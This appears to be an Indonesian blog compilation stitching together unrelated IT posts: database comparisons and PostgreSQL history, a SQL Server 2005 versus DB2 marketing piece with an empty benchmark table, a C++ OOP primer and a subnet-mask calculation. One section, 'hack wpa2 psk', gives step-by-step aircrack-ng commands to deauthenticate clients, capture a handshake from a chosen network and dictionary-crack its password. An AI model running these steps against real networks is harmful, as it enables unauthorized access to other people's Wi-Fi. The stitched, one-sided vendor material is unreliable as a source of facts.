Dilihat dari segi perspektif programmer keunggulan Microsoft Acces adalah kompatibilitasnya dengan bahasa pemrograman Structured Query Language ( SQL ).
Microsoft Access mengizinkan pengembangan yang relatif cepat karena semua table basis data, kueri, form, dan report disimpan di dalam berkas basis data miliknya. Misalnya untuk membuat query, Microsoft menggunakan Query Design Grid, sebuah program berbasis grafis yang mengizinkan para penggunanya untuk membuat query tanpa harus mengetahui bahasa SQL nya.
Bahasa Pemrograman yang digunakan di dalam Microsoft Access adalah Microsoft Visual Basic for Applications ( VBA ) seperti halnya dalam beberapa aplikasi Microsoft Office lainnya.

KelemahanKarena kurang begitu bagus jika diakses melalui jaringan maka bayak pengguna Microsoft Access menggunakan solusi system manajemen basis data yang bersifat klien / server.
kelebihan PostgreSQL adalah kemampuannya menampung data spasial, sehingga ia bisa digunakan dalam pembuatan situs yang berbasis Web GIS
Penyebab utama MySQL begitu popular di kalangan Web adalah karena ia memang cocok bekerja di lingkungan tersebut. Pertama, MySQL tersedia di berbagai platform Linux dan berbagai varian Unix. Sesuatu yang tidak dimiliki Access, misalnya—padahal Access amat popular di platform Windows. Banyak server Web berbasiskan Unix, ini menjadikan Access otomatis tidak dapat dipakai karena ia pun tidak memiliki kemampuan client-server/networking.
Kedua, fitur-fitur yang dimiliki MySQL memang yang biasanya banyak dibutuhkan dalam aplikasi Web. Misalnya, klausa LIMIT SQL-nya, praktis untuk melakukan paging. Atau jenis indeks field FULLTEXT, untuk full text searching. Atau sebutlah kekayaaan fungsi-fungsi builtinnya, mulai dari memformat dan memanipulasi tanggal, mengolah string, regex, enkripsi dan hashing. Yang terakhir misalnya, praktis untuk melakukan penyimpanan password anggota situs. Sementara fitur-fitur yang lebih jarang digunakan belum atau baru muncul saja di versi-versi terakhir. Subselek misalnya, sampai saat ini tidak ada di MySQL. Atau view, atau stored procedure, atau trigger. Ini membuat MySQL tetap langsing dan cepat, tapi pengembang aplikasi bisnis mungkin jadi berkerut muka mengetahui ini, karena fitur-fitur yang hilang ini seringkali mereka pakai untuk menyederhanakan logika aplikasi mereka. Jangankan itu, sebelum sekitar versi 3.23.15—yang berarti sekitar dua tahun lalu—MySQL tidak bisa melakukan transaksi sama sekali!
Ketiga, MySQL memiliki overhead koneksi yang rendah. Soal kecepatan melakukan transaksi atau kinerja di kondisi load tinggi mungkin bisa diperdebatkan dengan berbagai benchmark berbeda, tapi kalau soal yang satu ini MySQL-lah juaranya. Karakteristik ini membuat MySQL cocok bekerja dengan aplikasi CGI, di mana di setiap request skrip akan melakukan koneksi, mengirimkan satu atau lebih perintah SQL, lalu memutuskan koneksi lagi. Cobalah melakukan hal ini dengan Interbase atau bahkan Oracle. Maka dengan load beberapa request per detik saja server Web/database Anda mungkin akan segera menyerah karena tidak bisa mengimbangi beban ini.

PostgreSQL

Di bawah popularitas MySQL, membayanglah PostgreSQL. Kalau MySQL disebut-sebut sebagai database open source paling popular, maka PostgreSQL sering dijuluki database open source paling mutakhir (advanced). Kedua database ini kadang begitu terlihat kontras satu sama lain, sehingga tidaklah mewakili sama sekali kalau kita katakan keduanya “bersaing.” Kalau MySQL dikembangkan terutama di Eropa, PostgreSQL mula-mula di Amerika (di Universitas of California di Berkeley, sama seperti sistem operasi Unix). Kalau latar belakang pengembangan MySQL adalah untuk kebutuhan bisnis klien, maka PostgreSQL berawal dari proyek akademik. Kalau MySQL berfokus pada kelangsingan dan kecepatan, maka PostgreSQL pada kelengkapan fitur, portabilitas, dan reliabilitas (meski ironis bahwa kini MySQL lebih portabel dalam hal ketersediaan di Windows). Kalau MySQL merupakan sebuah database relasional (RDBMS), maka PostgreSQL disebut objek-relasional (ORDBMS) karena fitur OO-nya seperti pewarisan tabel dan tipe data. [Lihat artikel MySQL vs PostgreSQL].
PostgreSQL memiliki sejarah yang lebih panjang dan berliku. Pertama memulai hidupnya dalam wujud bernama Ingres (“Interactive Graphics and Retrieval System”), yang dikembangkan di Universitas Berkeley mulai tahun 1977 hingga 1985. Pemimpin proyek Ingres adalah Profesor Michael Stonebraker dan Eugene Wong. Ingres mula-mula dikembangkan di atas platform komputer mini PDP-11. Belum ada SQL waktu itu, dan Ingres memiliki bahasa query tersendiri yang disebut QUEL.
Kode Ingres kemudian dikomersilkan sehingga berdirilah Relational Technologies (yang lalu berganti nama menjadi Ingres Corporation, dan kini berada di bawah perusahaan Computer Associates). Sementara itu, dari universitas yang sama, didirikan pulalah perusahaan Sybase dan Illustra (yang lalu bernama Informix, dan kini telah dibeli oleh IBM) oleh para alumninya. Profesor Stonebraker sempat terlibat di ketiga perusahaan ini. Salah satu pendiri Ingres juga merupakan pendiri Illustra. Jadi dari Ingres lahir berbagai produk database: Ingres sendiri, Sybase, dan Informix. Database komersial Ingres (yang mengalami berbagai metamorfosis nama, mulai dari Ingres II, Ingres NET, CA-Ingres, CA-OpenIngres, CA Advantage Ingres) masih ada dan dijual hingga kini.
Dari proyek Ingres juga lahirlah proyek penerusnya, Postgres (1986–1994). Dipimpin juga oleh Stonebraker, proyek ini bertujuan membuat Ingres agar menjadi lebih berorientasi objek. Kode Postgres inilah yang diambil menjadi Illustra dan Informix.
Tahun 1995 dua mahasiswa S2 di universitas yang sama, Jolly Chen dan Andrew Yu, menambahkan SQL pada Postgres untuk menggantikan QUEL. Hasilnya adalah Postgres95. Akhirnya kedua mahasiswa pun lulus dan meninggalkan Berkeley, namun Chen masih terus memaintain Postgres95. Produk ini memiliki komunitas yang aktif berdiskusi di mailing list. Setahun berikutnya, Postgres95 jadi bertambah popular. Anggota mailing list telah mencapai 1000 orang. Seseorang bernama Marc G. Fournier dari Kanada menawarkan sebuah server untuk dipakai menjadi host mailing list dan CVS. Hingga saat itu, ada empat orang yang menjadi pengembang utama Postgres95: Chen, Fournier, dan dua orang lain yaitu Thomas Lockhart di California, AS dan Vadim Mikheev di Rusia. Namun Postgres95 dikembangkan bersama-sama lewat Internet dan sumbangan patch dan berbagai orang di seluruh pelosok dunia.
Sayangnya, proyek ini belum terkelola secara baik, apalagi profesional. Semua pengembang utamanya punya karir masing-masing. Mereka hanya mengembangkan Postgres95 sebagai kerja hobi atau sampingan. Padahal jumlah pemakai sudah cukup banyak. Laporan-laporan bug banyak yang tidak tertangani dengan baik. Menurut Chen, keluarga Postgres secara tradisional dikembangkan dalam suasana akademik, dan belum siap untuk menerima sumbangan kode dan laporan bug yang begitu banyak. Lagipula, kode turun-temurun dari Ingres dan Postgres ini belum sepenuhnya dimengerti, bahkan oleh Chen. Untungnya, para pengembang Postgres95 berdedikasi untuk berbenah diri.
Pertengahan 1996, nama Postgres95 sepakat dianggap sudah basi, maka lahirlah PostgreSQL (baca: post-grés-kju-él), dengan label versi dimulai dari angka 6.0 (versi terakhir dari Postgres/Berkeley adalah 4.2, dan Postgres95 dianggap versi 5.x). Di sinilah, dan juga berlanjut di keluarga 7.0–7.1, banyak terjadi peningkatan dalam hal skalabilitas, fitur, dan kecepatan.
Meskipun demikian, perbaikan berlangsung tidak secara tiba-tiba, melainkan berangsur-angsur. Para pengembangnya perlu terlebih dulu masih perlu membenahi kode-kode lama dan kode yang belum sepenuhnya dimengerti. Hingga versi 6.4 (1998) misalnya—di mana banyak ditambahkan fitur baru seperti dukungan karakter internasional, bahasa stored procedure baru, view, dan beberapa sintaks SQL tambahan—banyak terjadi masalah stabilitas. Beberapa pemakai melaporkan menjalankan proses server PostgreSQL yang lalu secara misterius tiba-tiba mati tanpa laporan apa-apa di log—alias crash. Sebagian yang lain melaporkan diskonek secara acak. Dan sebagian lagi mengeluhkan kurang memuaskannya kinerja PostgreSQL. Bahkan ada pemakai yang membelot ke MySQL. Periode ini merupakan saat-saat yang cukup mengkhawatirkan bagi popularitas PostgreSQL. Contohnya, lihat www.phpbuilder.com/columns/tim20000705.php3 di mana Tim Perdue menceritakan bahwa di tahun 1999, ia terpaksa beralih ke MySQL dalam membangun SourceForge. Kinerja PostgreSQL terlalu berbeda dengan MySQL sehingga mau tak mau pengguna setia PostgreSQL ini harus berganti database.
Versi 6.5 menurut pengembang PostgreSQL merupakan babak baru pemahaman mereka terhadap keseluruhan source code PostgreSQL. Versi ini juga merupakan versi perbaikan bug yang penting; ada banyak bug seperti berbagai kasus crash, kebocoran memori, dan kejanggalan/kekurangan pada sintaks SQL-nya diperbaiki. Selain itu, di versi 6.5 ditambahkan MVCC oleh Vadim, yang berpotensi meningkatkan kinerja PostgreSQL secara signifikan. MVCC, atau Multi Version Concurrency Control, serupa dengan InnoDB pada MySQL dalam hal memberikan kemampuan PostgreSQL memperlihatkan lebih dari satu versi tampilan data bagi klien. Perubahan data yang dibuat oleh klien yang sedang melakukan transaksi tidak akan terlihat dulu oleh klien lain sebelum transaksi dicommit. Ini menghindari locking yang tidak perlu.
Versi 6.5.x (1999, seri terakhir dari 6.x) cukup berhasil dan memuaskan bagi para pemakainya. Namun masih ada beberapa kekurangan PostgreSQL yang dirasakan mengganjal bagi banyak orang. Kekurangan-kekurangan ini lambat laun diperbaiki di seri 7.x, dan menurut Bruce Momjian, di seri 7.3 ia berharap PostgreSQL akan sepenuhnya layak dan sebanding dengan database komersial dalam hal fitur penting. Satu keterbatasan yang paling menyebalkan yaitu ukuran data maksimum sebuah field hanya 8–32KB. Ini menyebabkan orang sulit menyimpan teks panjang atau gambar di dalam database. Keterbatasan ini akhirnya dihapuskan di 7.1. Penambahan penting lainnya antara lain foreign key constraint (ditambahkan di 7.0), write-ahead logging untuk peningkatan keamanan dan kinerja (7.1), serta OUTER JOIN. Masih ada lagi fitur seperti replikasi yang rencananya akan ditambahkan setelah 7.2.
Pengguna setia PostgreSQL boleh berbangga dengan seri 7.x. Di seri ini PostgreSQL mulai menantang dan bahkan mengungguli MySQL dalam hal kecepatan, terutama di query-query kompleks dan pada kondisi load tinggi. Dalam artikelnya Tim Perdue melaporkan hasil benchmark MySQL 3.23 dan PostgreSQL 7.0 dan kesimpulannya adalah: PostgreSQL memang telah menjadi semakin baik. Dan kecepatannya cukup mengagumkan. Stabil pula.
Versi terbaru PostgreSQL saat artikel ini ditulis yaitu 7.2 (dirilis Februari lalu). PostgreSQL dikembangkan dengan siklus rilis sekitar 4 bulan, jadi kita bisa mengharapkan rilis berikutnya sekitar bulan Juni 2002. Hingga sekarang, di antara pengembang inti PostgreSQL yang paling aktif antara lain Thomas, Vadim, Tom Lane (AS), Tatsuo Ishii (Jepang), Hiroshi Inoue (Jepang), Philip Warner (Australia), dan Bruce Momjian (AS).

Fitur OO PostgreSQL

Yang membedakan PostgreSQL dan MySQL adalah kemampuan OO. Di PostgreSQL, kita dapat mendefinisikan sebuah tabel yang mewarisi definisi tabel lain. Misalnya, ada tabel Karyawan yang memiliki field partyId dan currentSalary. Kita dapat mendefinisikan tabel KaryawanDivisiA dengan hanya mendefinisikan field tambahan postId dan ditambah klausa SQL INHERITS (Karyawan). Field-field lain akan otomatis diambil dari tabel induknya, Karyawan. Bukan tabel saja, tipe data baru pun dapat didefinisikan. Dan uniknya, PostgreSQL pun memiliki tipe data geometri (seperti titik, garis, lingkaran, poligon) yang mungkin berguna bagi aplikasi ilmiah tertentu. Satu lagi, anehnya, PostgreSQL memberikan kita kemampuan mendefinisikan sebuah field sebagai array. MySQL mungkin tidak akan memiliki semua ini dalam waktu dekat.
Dari segi kekayaan SQL, para pengembang database mungkin akan lebih tergiur. PostgreSQL memiliki hampir semua fasilitas standar yang biasanya diinginkan: view (tabel virtual), trigger, subselek, stored procedure (dalam beberapa bahasa), dan foreign key constraint. PostgreSQL juga memiliki apa yang disebut rule, yaitu tindakan custom yang bisa kita definisikan dieksekusi saat sebuah tabel di-INSERT, UPDATE, atau DELETE. Sistem rule ini memungkinkan kita mengendalikan bagaimana data kita diubah atau diambil. Misalnya, kita dapat membuat sebuah tabel mernjadi bersifat append-only dengan membuat rule yang membatalkan efek DELETE dan UPDATE. Atau kita bisa melakukan pengecekan data sebelum terjadinya perubahan pada tabel. Atau melindungi row tertentu agar tidak bisa diambil datanya, dsb. Rule ini dipakai untuk mengimplementasi view. Meski begitu mungkin Anda perlu menghindari menggunakan rule secara eksplisit karena fasilitas ini tidak ada dalam standar (SQL92).
Fitur-fitur menarik pada SQL Server 2000
Berikut ini adalah beberapa fitur yang menarik untuk diangkat dari sekian banyak fitur yang ada pada SQL Server 2000. Diantaranya adalah:
  • XML Support
  • Multi-Instance Support
  • Data Warehousing/Business Intelligence Improvements
  • Performance and Scalability Improvements
  • Query Analyzer Improvements
  • DTS Improvements
  • Transact SQL Enhancements
SQL Server 2005 terus melebihi DB2 dalam fitur, fungsionalitas, dan inovasi dengan biaya yang jauh lebih rendah. Kemudahaan penggunaan dan tool-tool manajemen membantu organisasi berhemat dalam biaya administrasi basis data, sembari menutup integrasi dengan Visual Studio dan Microsoft .NET common language runtime (CLR) membuat SQL Server 2005 menjadi platform yang ideal untuk membangun aplikasi-aplikasi basis data yang ampuh.
SQL Server 2005 pada Microsoft Windows Server memberikan keamanan dan ketersediaan yang lebih, serta skalabilitas dari bisnis kecil sampai yang terbesar, semuanya dengan biaya yang jauh lebih rendah.

SQL Server adalah pemimpin platform data


Ketersediaan tingkat tertinggi tanpa biaya tambahan

SQL Server 2005 memiliki lebih banyak opsi ketersediaan yang tinggi daripada DB2, termasuk pencerminan data dengan failover otomatis, penambahan memori, pemulihan cepat, snapshot basis data, dan pengembalian halaman. SQL Server 2005 juga mencakup tool-tool yang memfasilitasi backup dan restore, yang membuat SQL Server 2005 menjadi sebuah pilihan yang lebih baik untuk aplikasi-aplikasi ketersediaan yang tinggi daripada DB2. Banyak dari fitur tersebut yang tidak tersedia dalam DB2, atau tersedia dengan biaya tambahan.

Kinerja dan Skalabilitas Superior SQL Server 2005

Tak perduli seberapa banyak data yang diandalkan dan didukung oleh organisasi anda, SQL Server 2005 memiliki sebuah edisi yang dirancang untuk menanganinya, dari bisnis kecil sampai perusahaan terbesar.
Pengukuran Kinerja
SQL Server
IBM DB2
Harga/kinerja TPC-E*
Kinerja TPC-E*
Harga/kinerja TPC-C
Kinerja TPC-C
Harga/kinerja TPC-H 100GB
Kinerja TPC-H 100GB
Harga/kinerja TPC-H 300GB
Kinerja TPC-H 300GB
Harga/kinerja TPC-H 1TB
Kinerja TPC-H 1TB
Harga/kinerja TPC-H 3TB
Kinerja TPC-H 3TB
Belum ada hasil IBM DB2 yang dikirimkan. Tabel ini mendaftar semua pengukuran kinerja TPC dimana SQL Server telah mengirimkan hasilnya.


Temukan informasi lebih lanjut tentang pengujian kinerja SQL Server

SQL Server lebih aman daripada DB2

SQL Server 2005 memberikan fitur-fitur keamanan yang cerdas yang merepresentasikan sebuah standard keamanan yang lebih tinggi daripada apa yang disediakan oleh IBM DB2, dan SQL Server 2005 memberikan standard yang lebih tinggi ini ke semua pengguna, dari pengembang ke pelanggan, dengan kemudahan manajemen dan programabilitas. Sejak bulan Juli 2003 beberapa kerentanan kritis keamanan basis data Oracle telah teridentifikasi, berbanding nol untuk SQL Server selama periode tersebut.
SQL Server 2005 memiliki sertifikasi Common Criteria seperti halnya pemenuhan FIPS 140-2. Baca lebih lanjut tentang sertifikasi Common Criteria.
Temukan lebih lanjut tentang fitur-fitur yang hanya ditawarkan SQL Server 2005 bagi para pengembang untuk meningkatkan keamanan data:
  • Dapatkan fakta-fakta tentang keamanan basis data
    Temukan lebih lanjut tentang sumber daya kunci untuk mengamankan basis data anda dan teknik terbaik dari para spesialis keamanan, dan pelajari dari pemahaman berbagai ahli industri tentang klaim keamanan vendor basis data.

SQL Server lebih mudah dikelola dan lebih produktif daripada DB2

SQL Server 2005 adalah sebuah lingkungan yang lebih produktif untuk para pengembang dan administrator basis data. Integrasi SQL Server 2005 dengan Visual Studio .NET memberikan sebuah platform yang lebih baik untuk para pengembang .NET untuk membangun aplikasi-aplikasi berbasis data. Sementara baik SQL Server 2005 maupun DB2 memberikan kemampuan untuk melekatkan logika .NET logic didalam basis data, SQL Server 2005 memiliki beberapa manfaat yang signifikan diatas DB2. Dukungan terdalam SQL Server 2005 untuk CLR (common language runtime) memberikan sebuah solusi total yang lebih efektif, yang meningkatkan kegunaan memory, threading, dan kemampuan garbage collection dari CLR dengan cara yang tidak diperkenankan dalam implementasi DB2. Lebih jauh lagi, SQL Server 2005 mendukung lebih banyak obyek basis data .NET database daripada DB2.
SQL Server memberikan sebuah lingkungan pengembangan tunggal yang terintegrasi. Lingkungan yang sama digunakan untuk mengembangkan basis data, pelaporan, analisis, ETL dan aplikasi-aplikasi yang melekat, dan sebuah tool tunggal digunakan untuk mengelola semua basis data dan server IB. DB2 mengharuskan pelanggan untuk mempelajari dan mendukung metodologi dan tool yang berbeda untuk versi-versi DB2 yang sangat berbeda (Mainframe, AS/400, dan DB2 UDB), seperti halnya untuk produk-produk ETL dan IB.
Untuk administrator, kemampuan seperti penambalan terintegrasi, penyetelan mandiri, Management Studio yang tangkas dan mudah digunakan, seperti halnya pembuatan profil dan penyetelan berbasis GUI yang memberikan sebuah lingkungan manajemen yang lebih cepat dan lebih produktif. Dokumen-dokumen berikut menguji tool dan tingkat integrasi yang sesuai untuk SQL Server 2005 dan DB2:

hack wpa2 psk

Satu satunya kelemahan wpa2 psk dan wpa adalah ketika sebuah client melakukan koneksi ke AP dimana terjadinya proses handshake, kita bisa melakukan Bruto Force yang akan mencoba satu persatu password yang ada dengan didapatkan dari proses handshake. Melakukan Bruto Force adalah melakukan dengan mengunakan dictionary file yang artinya kita harus mempunyai file berisi passpharase yang akan di coba satu persatu dengan paket handshake untuk mencari keys yg digunakan tersebut.
Ga usah panjang lebar dan basa basi lagi, saya tulis ini supaya saya tidak lupa dengan langkah cara hack wpa2 psk menggunakan Backtrack 4, VM Ware Workstation dan menggunakan windows XP sp2 menurut pengalaman saya. Langkah pertama buat yang mau nyoba silahkan persiapkan laptop, usb wireless, Backtrack 4 yang bisa di download disini serta VM Ware Workstation yang bisa di dowload disini dan jangan lupa rokok malboro merah rek…. hehehehe
Instal VM Ware Workstation, saya menggunakan Windows XP SP2 karena stabil menurut saya setelah itu runing (jalankan) Backtrack 4 yang berupa file ISO menggunakan VM Ware Workstation kemudian tancapkan USB wireles ke laptop dan aktifkan, bagi yang masih bingung bisa liat tutorial di youtube klik disini setelah Backtrack 4 siap lakukan perintah ini di terminal :
  1. root@bt:-# airmon-ng
  2. root@bt:-# airmon-ng stop wlan0
  3. root@bt:-# airmon-ng start wlan0
  4. root@bt:-# airodump-ng wlan0 (disini akan dilihat macam2 wireles yang sedang aktif yang terdeteksi, pilih bssid yg akan di hack yaitu dengan di copy bssid tersebut dan perhatikan bagian ch yaitu berarti chanel yg harus di ingat)
  5. root@bt:-# airodump-ng -c 6 -w zhome –bssid 00:6B:7B:A1:11:8B mon0 (c=chanel dan bssid yang saya cantumkan hanya contoh dan ganti sesuai dengan bssid dan chanel yg mau di hack, setelah itu enter dan tunggu hingga station mengeluarkan semacam bssid setelah itu buka  terminal  kedua dan ketikan)
  6. root@bt:-# aireplay-ng -0 5 -a 00:6B:7B:A1:11:8B -c 89:AS:84:B3:89:7C mon0 (kemudian lihat di terminal pertama dan akan di dapatkan handshake dipojok kanan atas, tekan keyboard ctrl+c)
  7. root@bt:-# aircrack-ng -w /pentest/passwords/wordlists/darkc0de.lst zhome*.cap (darkc0de adalah dictionary passpharase bawaan backtrack 4)
oke selamet mencoba kalau mau nyoba.

Bahasa C++

C++ adalah salah satu bahasa pemrograman komputer,  yang dikembangkan dari bahasa pendahulunya,  yaitu bahasa C.
Bahasa ini Dibuat pada tahun 1980-an oleh Bjarne Stroustrup) yang berasal dari Bell Lab.
tidak seperti pendahulunya, yaitu bahasa C, bahasa ini sudah mendukung  pemakaian konsep pemrograman berorientasi objek (Object Oriented Programming).
Saat ini, Bahasa C++ banyak dipakai di berbagai industri software,  dan sampai saat ini C++ masih termasuk sebagai salah satu bahasa pemrograman yang paling populer.  beberapa aplikasi, seperti systems software, application software, device drivers, embedded software, high-performance server and client applications, dan entertainment software dibuat menggunakan bahasa C++.
dibanding dengan pendahulunya , ada beberapa hal yang ditambahkan yang sebelumnya tidak dimiliki oleh bahasa pendahulunya, hal yang ditambahkan tersebut adalah :
  1. Class
    Class adalah keyword yang digunakan untuk membuat sebuah user define abstract data type, dengan tujuan untuk menyerdehanakan suatu permasalhan yang berkaitan dengan objek
    contoh pembuatan kelas dalam bahasa C++ :
    class Hero
    {
    private :
    int x;
    int y;
    int vx;
    int vy;
    public :
    //method
    void walk()
    {
    this->x = x+vx;
    this->y = y+vy;
    }
    //constructor
    Hero(int vx, int vy)
    {
    this->vx = vx;
    this->vy = vy;
    this->x = this->y = 0;
    }
    //destructor
    ~Hero()
    {
    this->vx = this->vy = this->x = this->y = 0;
    }
    }ryu;
    //akhir dari kelas
    dalam hal ini ryu adalah objek dari kelas Hero, sedangkan kelas Hero adalah blue print/rancangan untuk membuat objek
  2. Constructor  dan Destructor
    seperti yang kita lihat di no 1, disana terdapat constructor dan destructor. Constructor adalah fungsi yang akan dijalankan ketika kita membuat sebuah objek dari suatu kelas, untuk menginisialisasi data yang dimiliki oleh objek. dari method2 yang ada dalam suatu objek,  Constructor  akan dipanggil paling pertama.
    sedangkan Destructor adalah fungsi yang akan dipanggil terakhir kali untuk membersihkan memori.
  3. overloading
    overloading adalah penggunaan nama yang sama untuk beberapa fungsi maupun method, namun dalam tiap2 fungsi tersebut memiliki perbedaan, walupun namanya sana. perbedaan itu mencakup parameter maupun return value dari suatu fungsi
  4. overiding
    overiding adalah  definisi ulang dari suatu method dengan menggunakan nama yang sama. singkatnya , bisa terdapat method yang menggunakan nama, return value dan  parameter yang sama, namun operasi  masing  method  itu berbeda
  5. access modifier
    seperti yang kita lihat di no 1 diatas, kita dapat memberi access modifier.  access modifier di bahasa C++ ada 3 yaitu
    1. private
    yaitu pembatasan agar data dari suatu kelas hanya dapat diakses oleh kelas itu sendiri
    2.protected
    yaitu pembatasan agar data dari suatu kelas  hanya dapat diakses oleh kelas itu sendiri dan kelas turunannya
    3. public
    yaitu pengizinan agar data-data dari suatu kelas dapat diakses oleh siapapun
  6. extend
    yaitu  penurunan sifat dari suatu Class ke Class lain
    contoh :
    class Kendaraan
    {
    };
    //extends
    class Mobil : Kendaraan
    {
    };
    dengan adanya extends, maka apa yang dimiliki dari Class kendaraan akan diturunkan ke Class mobil
sebenarnya masih banyak fitur C++ yang lain, namun yang paling penting untuk diketahui adalah beberapa hal diatas
karena bahasa C++ sudah mendukung adanya konsep Object Oriented Programming, maka tentu saja bahasa ini juga mendukung ciri dasar dari OOP, yaitu Abstraction, Encapsulation dan Polymorphism, dengan menggunakan keenam fitur tersebut

Hitung Subnet mask

cara hitung subnet mask:
1. Ubah IP number ke bilangan biner
2. Ubah Subnet mask ke bilangan biner
3. Lakukan operasi AND [1-1=1, 0-1=0, 0-0=0, 1-0=0]
4. Hitung jumlah host = 2 pangkat n – 2
5. Hitung jumlah subnet= 2 pangkat m
Ex [untuk network kelas C]
IP: 192.168.13.17/28
Subnet: 255.255.255.240
240 didapat dari konversi subnet ke bilangan biner, dan terdapat 28 angka biner bernilai1
1111 1111.1111 1111.1111 1111.11110000
|________| |_______| |________| |________|
255 255 255 240 [128+64+32+16]
IP biner: 11000000.10101000.00001101.00010001
Subnet :11111111.11111111.11111111.11110000
—————————————————————————A ND
11000000.10101000.00001101.00010000
IP network: 192.168.13.16 |___16___| <------------------------------------------
IP broadcast: 192.168.13.31-----> 00011111 [angka 0 dibelakang 1 dari ip address diganti 1] |
Jumlah host: 2 pangkat 4 – 2 = 16 -2 =14 [4 didapat dari jumlah angka 0 dari subnet mask------|
Jumlah subnet: 2 pangkat 4 = 16 [4 didapat dari jumlah angka 1 dari oktet ke 4 dari subnet mask ---------------------|
berarti ada 16 subnet dengan jumlah host masing masing subnet=14, kelipatan yang
digunakan [256-240 =16] = 16